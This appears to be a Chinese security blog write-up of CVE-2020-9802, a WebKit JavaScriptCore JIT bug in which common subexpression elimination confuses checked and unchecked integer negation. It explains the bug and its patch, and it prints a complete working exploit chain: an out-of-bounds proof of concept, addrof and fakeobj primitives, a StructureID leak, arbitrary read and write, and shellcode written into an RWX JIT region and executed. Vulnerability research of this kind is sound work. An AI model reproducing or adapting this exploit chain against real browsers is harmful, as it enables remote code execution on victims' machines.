环境搭建

git checkout 17218d1485b0f5d98d2aad116d4fdb2bad6aee2d
git < ./patch.diff
Tools/Scripts/build-webkit --jsc-only --debug

启动运行:

./jsc --useConcurrentJIT=false ./exp.js

基础知识

jsc 优化的四个阶段:

在jsc中会对以下的 JS 代码进行优化:

let c = a + b;
let d = a + b;

优化成:

let c = a + b;
let d = c;

这种优化称为 Common Subexpression Elimination (CSE),公共子表达式消除,但是像下面这种:

let c = o.a;
f();
let d = o.a;

就无法进行优化消除,直接使d=c,因为在调用f()函数的过程中可能会改变o.a的值。

在JSC中,对某项操作是否进行CSE是在DFGClobberize中实现的。

漏洞分析

漏洞点在于:

case ArithNegate:
        if (node->child1().useKind() == Int32Use || ...)
            def(PureValue(node));          // <- only the input matters, not the ArithMode

ArithNegate 操作中没有使用ArithMode,这可能导致 CSE 可以用 unchecked的 ArithNegate 替换 checked的ArithNegate,对于ArithNegate一个32位整数求反的情况下,整数溢出只能在一种情况下发生,即32位有符号整数的最小值INT_MIN:0x80000000(-2147483648),取反后为2147483648,然而32位有符号整数的最大值为0x7fffffff,不能表示2147483648,导致溢出。溢出后需要做的就是绕过checked 的溢出检查,例如将操作的checked模式转成unchecked模式。

最终要构造以下效果:

v = ArithNeg(unchecked) n
i = ArithNeg(checked) n

然后通过CSE 优化转化成:

v = ArithNeg(unchecked) n
i = v

(1)所以首先我们要得到一个v = ArithNeg(unchecked) n

ArithNegate 用于对整数取反,然而JavaScript中很多数据为浮点数类型,所以需要先将其转成整数:

n = n|0;   // n will be an integer value now

此时,n为一个32位的整数,之后要构造一个unchecked ArithNegate操作

n = n|0;         // 【1】
let v = (-n)|0;  // 【2】

【2】在DFGFixupPhase处理流程中,对n取反会被转化成unchecked ArithNegate操作。在对取反的值进行or操作时,编译器会消除溢出的检查,因为即使是对INT_MIN:0x80000000 (-2147483648)取反后进行or操作,得到的值也是0x80000000,v的值不会溢出,所以没必要进行溢出检查。

js> -2147483648 | 0
-2147483648
js> 2147483648 | 0
-2147483648

(2)接下来要构造i = ArithNeg(checked) n

通过ArithAbs操作实现,只有当传入的n为负数时,才会将ArithAbs转化成ArithNegate操作进行检查,因为正数的绝对值是它本身,不会造成溢出,也不用取反。因此完成以下的构造:

n = n|0;
if (n < 0) {
    // Compiler knows that n will be a negative integer here
    let v = (-n)|0;
    let i = Math.abs(n);
}

Math.abs会调用到ArithAbs 操作,之后 IntegerRangeOptimization将 ArithAbs转换为一个checked的ArithNegate(这里要进行检查,是因为 INT_MIN:-2147483648取绝对值后变成2147483648会造成溢出)。此时v 和 i 的值被认为是相同的,都是ArithNeg n,只不过模式不同,但CSE优化会无视模式不同,直接当成同一个值处理。

(3)准备条件已经完成,最后通过循环调用,触发CSE优化,转化成:

v = ArithNeg(unchecked) n
i = v

综上所述,poc如下:

function hax(arr, n) {
  n = n|0;
  if (n < 0) {
    let v = (-n)|0;
    let idx = Math.abs(n);
    if (idx < arr.length) {
        arr[idx];
    }
  }
}

触发漏洞前,IntegerRangeOptimization 在进入idx < arr.length 时将idx标志为恒大于等于0 且小于数组长度,此时传入的n为负数,idx=-n,通过循环训练,JIT会认为idx极大可能落在数组内,预测下一次访问也在数组内,从而消除数组的越界访问检查。

而触发漏洞,进行CSE优化时,传入的n为-2147483648,idx=v=-2147483648,依然为负数,小于数组长度,进入判断,但此时已经消除了数组的越界检查。上述最终效果是可以越界访问arr[-2147483648],造成crash。

后面要做的就是将idx从-2147483648 转化成任意数,越界读写后面对象的内容。修改poc如下:

function Foo(arr, n)
{
    n = n | 0;
    if(n < 0) {
        let v = (-n) | 0;
        let idx = Math.abs(n);
        if(idx < arr.length) {
            if(idx & 0x80000000) { // 输入值为负时才能进行减法操作
                idx += -0x7ffffffd;  // idx = 3;
            }
            if(idx > 0) { // 由于前面的减法,IntegerRangeOptimization无法确定idx是否恒大于等于0,所以要加判断
                return arr[idx] = 1.04380972981885e-310;  // i2f(0x133700001337);
            }
        }
    }
}

通过idx-0x7ffffffd 使idx=3,因为此时JIT认为idx恒为正数,减去0x7ffffffd 并不会造成溢出,所以消除了ArithAdd的检查,所以从进入idx < arr.length 条件判断到越界写操作,一路的检查都被消除了,造成了OOB漏洞。

漏洞利用

构造addrof和fakeobj原语

根据poc可以越界改写后面浮点数数组的长度,构造一个可以越界读写的数组:

布置三个数组,地址如下:

[+] arr: 0x00007fe4f209e4e8
[+] oobAddr: 0x00007fe4f209ed68
[+] objAddr: 0x00007fe4f209ede8

调试观察它们butterfly的布局:

可以看到通过越界读写arr[3],可以将oobArr数组的length修改成0x1337,之后通过oobArr可以再一次越界读写,通过修改oobArr[4],可以直接修改objArr[0]的内容,由于oobArr为浮点数数组,objArr为对象数组,通过类型转化可以完成addrof和fakeobj 原语:

let noCoW = 13.37;
let arr = [noCoW, 2.2, 3.3];
let oobArr = [noCoW, 2.2, 3.3];
let objArr = [{}, {}, {}];

function AddrOf(obj)
{
    objArr[0] = obj;
    return f2i(oobArr[4]);
}

function FakeObj(addr)
{
    addr = i2f(addr);
    oobArr[4] = addr;
    return objArr[0];
}

后面的操作就比较常规了:

(1)绕过StructureID随机化

(2)构造任意地址读写

(3)查找wasm rwx区域,写入shellcode,完成利用

绕过StructureID随机化

当加载JSArray的元素时,解释器中有一个代码路径,它永远不会访问StructureID:

static ALWAYS_INLINE JSValue getByVal(VM& vm, JSValue baseValue, JSValue subscript)
{
    ...;
    if (subscript.isUInt32()) {
        uint32_t i = subscript.asUInt32();
        if (baseValue.isObject()) {
            JSObject* object = asObject(baseValue);
            if (object->canGetIndexQuickly(i))
                return object->getIndexQuickly(i); // 【1】

getIndexQuickly直接从butterfly加载元素,而canGetIndexQuickly只查看JSCell头部中的索引类型和butterfly中的length:

bool canGetIndexQuickly(unsigned i) const {
    const Butterfly* butterfly = this->butterfly();
    switch (indexingType()) {
    ...;
    case ALL_CONTIGUOUS_INDEXING_TYPES:
        return i < butterfly->vectorLength() && butterfly->contiguous().at(this, i);
}

我们可以伪造一个JSArray对象,填充无效的StructureID等头部字段(因为getByVal路径上不验证,所以不会报错),然后将butterfly填充为要泄露的目标对象地址,就可以将目标对象的结构当成数据输出。

泄露StructureID的代码如下:

// leak entropy by getByVal
function LeakStructureID(obj)
{
    let container = {
        cellHeader: i2obj(0x0108230700000000), // 伪造的JSArray头部,包括StructureID等字段
        butterfly: obj
    };

    let fakeObjAddr = AddrOf(container) + 0x10;
    let fakeObj = FakeObj(fakeObjAddr);
    f64[0] = fakeObj[0];// 访问元素会调用getByVal

    //此时fakeObj[0]为Legitimate JSArray的JSCell,fakeObj[1]为Legitimate JSArray的butterfly
    // repair the fakeObj's jscell
    let structureID = u32[0];
    u32[1] = 0x01082307 - 0x20000;
    container.cellHeader = f64[0];

    return structureID;
}

内存布局如下:

// container 对象:
Object: 0x7fe0cc78c000 with butterfly (nil) (Structure 0x7fe0cc7bfde0:[0xd0bd, Object, {cellHeader:0, butterfly:1}, NonArray, Proto:0x7fe10cbf6de8, Leaf]), StructureID: 53437

pwndbg> x/4gx 0x7fe0cc78c000
0x7fe0cc78c000: 0x010018000000d0bd  0x0000000000000000
0x7fe0cc78c010: 0x0108230700000000  0x00007fe10cb7cae8 // <---伪造的Butterfly,覆盖成目标对象地址
              // 伪造的JSCell
pwndbg> x/gx 0x00007fe10cb7cae8
0x7fe10cb7cae8: 0x010823070000f1aa // <---- StructureID被当作数据输出

构造任意地址读写

泄露StructureID后,我们可以仿造泄露StructureID方法一那样构造一个JSArray,只不过现在StructureID填充的是有效的,可以根据Butterfly进行读写。

(1)首先伪造一个driver object,类型为对象类型数组,将driver object 的butterfly 指向victim object,此时访问driver[1]就可以访问victim object的butterfly,之后申请一个ArrayWithDouble(浮点数类型)的数组unboxed,通过driver[1] = unboxed 将victim object的butterfly填充为unboxed对象地址,同理此时访问victim[1]就可以访问unboxed object 的butterfly。

这一步我们可以泄露unboxed object的butterfly内容。代码如下:

var victim = [noCoW, 14.47, 15.57];
victim['prop'] = 13.37;
victim['prop_1'] = 13.37;

u32[0] = structureID;
u32[1] = 0x01082309-0x20000;
var container = {
    cellHeader: f64[0],
    butterfly: victim   
};
// build fake driver
var containerAddr = AddrOf(container);
var fakeArrAddr = containerAddr + 0x10;
var driver = FakeObj(fakeArrAddr);

// ArrayWithDouble
var unboxed = [noCoW, 13.37, 13.37];

// leak unboxed butterfly's addr
driver[1] = unboxed;
var sharedButterfly = victim[1];
print("[+] shared butterfly addr: " + hex(f2i(sharedButterfly)));

(2)申请一个ArrayWithContiguous(对象类型)的数组boxed,和第一步一样,将driver[1]覆盖成boxed object地址就可以通过victim[1] 对boxed object的butterfly进行操作。将第一步泄露的unboxed object butterfly内容填充到boxed object的butterfly,这样两个对象操作的就是同一个butterfly,可以方便构造新的addrof 和 fakeobj原语。

代码如下:

var boxed = [{}];
driver[1] = boxed;
victim[1] = sharedButterfly;

function NewAddrOf(obj) {
    boxed[0] = obj;
    return f2i(unboxed[0]);
}

function NewFakeObj(addr) {
    unboxed[0] = i2f(addr);
    return boxed[0];            
}

(3)将driver object的类型修改成浮点型数组类型,将victim object 的butterfly 修改成target_addr+0x10,因为butterfly是指向length和elem0中间,而属性1prop位于butterfly-0x10的位置,访问victim.prop相当于访问butterfly-0x10 =(target_addr+0x10)-0x10=target_addr。

所以通过读写victim.prop就可以实现任意地址的读写,代码如下:

function Read64(addr) {
    driver[1] = i2f(addr+0x10);
    return NewAddrOf(victim.prop);
}

function Write64(addr, val) {
    driver[1] = i2f(addr+0x10);
    victim.prop = i2f(val);
}

任意代码执行

和v8的利用相似,通过任意读查找wasm_function中rwx区域,通过任意写将shellcode写入该区域即可执行任意代码。

完成exp代码如下(适配debug版本):

const MAX_ITERATIONS = 0xc0000;
const buf = new ArrayBuffer(8);
const f64 = new Float64Array(buf);
const u32 = new Uint32Array(buf);

function f2i(val)
{ 
    f64[0] = val;
    return u32[1] * 0x100000000 + u32[0];
}

function i2f(val)
{
    let tmp = [];
    tmp[0] = parseInt(val % 0x100000000);
    tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
    u32.set(tmp);
    return f64[0];
}

function i2obj(val)
{
    return i2f(val-0x02000000000000);
}

function hex(i)
{
    return "0x"+i.toString(16).padStart(16, "0");
}

var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
    96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
    105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
    72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
    72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
    184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
    94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];

function MakeJitCompiledFunction() {
    function target(num) {
        for (var i = 2; i < num; i++) {
            if (num % i === 0) {
                return false;
            }
        }
        return true;
    }
    for (var i = 0; i < 1000; i++) {
        target(i);
    }
    for (var i = 0; i < 1000; i++) {
        target(i);
    }
    for (var i = 0; i < 1000; i++) {
        target(i);
    }
    return target;
}

var jitFunc = MakeJitCompiledFunction();

function Foo(arr, n)
{
    n = n | 0;
    if(n<0) {
        let v = (-n) | 0;
        let idx = Math.abs(n);
        if(idx < arr.length) {
            if(idx & 0x80000000) {
                idx += -0x7ffffffd;  // idx = 3;
            }
            if(idx>0) {
                return arr[idx] = 1.04380972981885e-310;  // i2f(0x133700001337);
            }
        }
    }
}

let noCoW = 13.37;
let arr = [noCoW, 2.2, 3.3];
let oobArr = [noCoW, 2.2, 3.3];
let objArr = [{}, {}, {}];

for(let i=0; i<MAX_ITERATIONS; i++) {
    let tmp = -2;
    Foo(arr, tmp);
}

Foo(arr, -2147483648);

print("[+] now oob arr's length: " + hex(oobArr.length));

function AddrOf(obj)
{
    objArr[0] = obj;
    return f2i(oobArr[4]);
}

function FakeObj(addr)
{
    addr = i2f(addr);
    oobArr[4] = addr;
    return objArr[0];
}

// leak entropy by getByVal
function LeakStructureID(obj)
{
    let container = {
        cellHeader: i2obj(0x0108200700000000),
        butterfly: obj
    };

    let fakeObjAddr = AddrOf(container) + 0x10;
    let fakeObj = FakeObj(fakeObjAddr);
    f64[0] = fakeObj[0];

    // repair the fakeObj's jscell
    let structureID = u32[0];
    u32[1] = 0x01082307 - 0x20000;
    container.cellHeader = f64[0];

    return structureID;
}

var arrLeak = new Array(noCoW, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8);
let structureID = LeakStructureID(arrLeak);
print("[+] leak structureID: "+hex(structureID));

pad = [{}, {}, {}];
var victim = [noCoW, 14.47, 15.57];
victim['prop'] = 13.37;
victim['prop_1'] = 13.37;

u32[0] = structureID;
u32[1] = 0x01082309-0x20000;

var container = {
    cellHeader: f64[0],
    butterfly: victim   
};

// build fake driver
var containerAddr = AddrOf(container);
var fakeArrAddr = containerAddr + 0x10;
var driver = FakeObj(fakeArrAddr);

// ArrayWithDouble
var unboxed = [noCoW, 13.37, 13.37];
// ArrayWithContiguous
var boxed = [{}];

// leak unboxed butterfly's addr
driver[1] = unboxed;
var sharedButterfly = victim[1];
print("[+] shared butterfly addr: " + hex(f2i(sharedButterfly)));

driver[1] = boxed;
victim[1] = sharedButterfly;

// set driver's cell header to double array
u32[0] = structureID;
u32[1] = 0x01082307-0x20000;
container.cellHeader = f64[0];

function NewAddrOf(obj) {
    boxed[0] = obj;
    return f2i(unboxed[0]);
}

function NewFakeObj(addr) {
    unboxed[0] = i2f(addr);
    return boxed[0];            
}

function Read64(addr) {
    driver[1] = i2f(addr+0x10);
    return NewAddrOf(victim.prop);
}

function Write64(addr, val) {
    driver[1] = i2f(addr+0x10);
    victim.prop = i2f(val);
}

function ByteToDwordArray(payload)
{
    let sc = []
    let tmp = 0;
    let len = Math.ceil(payload.length/6)
    for (let i = 0; i < len; i += 1) {
        tmp = 0;
        pow = 1;
        for(let j=0; j<6; j++){
            let c = payload[i*6+j]
            if(c === undefined) {
                c = 0;
            }
            pow = j==0 ? 1 : 256 * pow;
            tmp += c * pow;
        }
        tmp += 0xc000000000000;
        sc.push(tmp);
    }
    return sc;
}

function ArbitraryWrite(addr, payload) 
{
    let sc = ByteToDwordArray(payload);
    for(let i=0; i<sc.length; i++) {
        Write64(addr+i*6, sc[i]);
    }
}

var jitFuncAddr = NewAddrOf(jitFunc);
print("[+] jit function addr: "+hex(jitFuncAddr));

var executableBaseAddr = Read64(jitFuncAddr + 0x18);
var jitCodeAddr = Read64(executableBaseAddr + 0x8);
print("[+] jit code addr: "+hex(jitCodeAddr));

var rwxAddr = Read64(jitCodeAddr + 0x20);
print("[+] rwx addr: "+hex(rwxAddr));

ArbitraryWrite(rwxAddr, shellcode);
print("[+] trigger shellcode");

jitFunc();

执行效果:

补丁

-            def(PureValue(node));
+            def(PureValue(node, node->arithMode()));

添加arithMode,使CSE重新检查ArithNegate操作,判断是unchecked 还是checked 模式,并进入不同的处理,而不能直接互相替换。

参考链接

https://googleprojectzero.blogspot.com/2020/09/jitsploitation-one.html

https://googleprojectzero.blogspot.com/2020/09/jitsploitation-two.html

https://www.anquanke.com/post/id/223494

https://bugs.chromium.org/p/project-zero/issues/detail?id=2020#c4

https://bugs.webkit.org/show_bug.cgi?id=209093

https://github.com/ray-cp/browser_pwn/tree/master/jsc_pwn/cve-2020-9802

https://github.com/De4dCr0w/Browser-pwn/tree/master/Vulnerability%20analyze/CVE-2020-9802-WebKit%20JIT优化漏洞

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖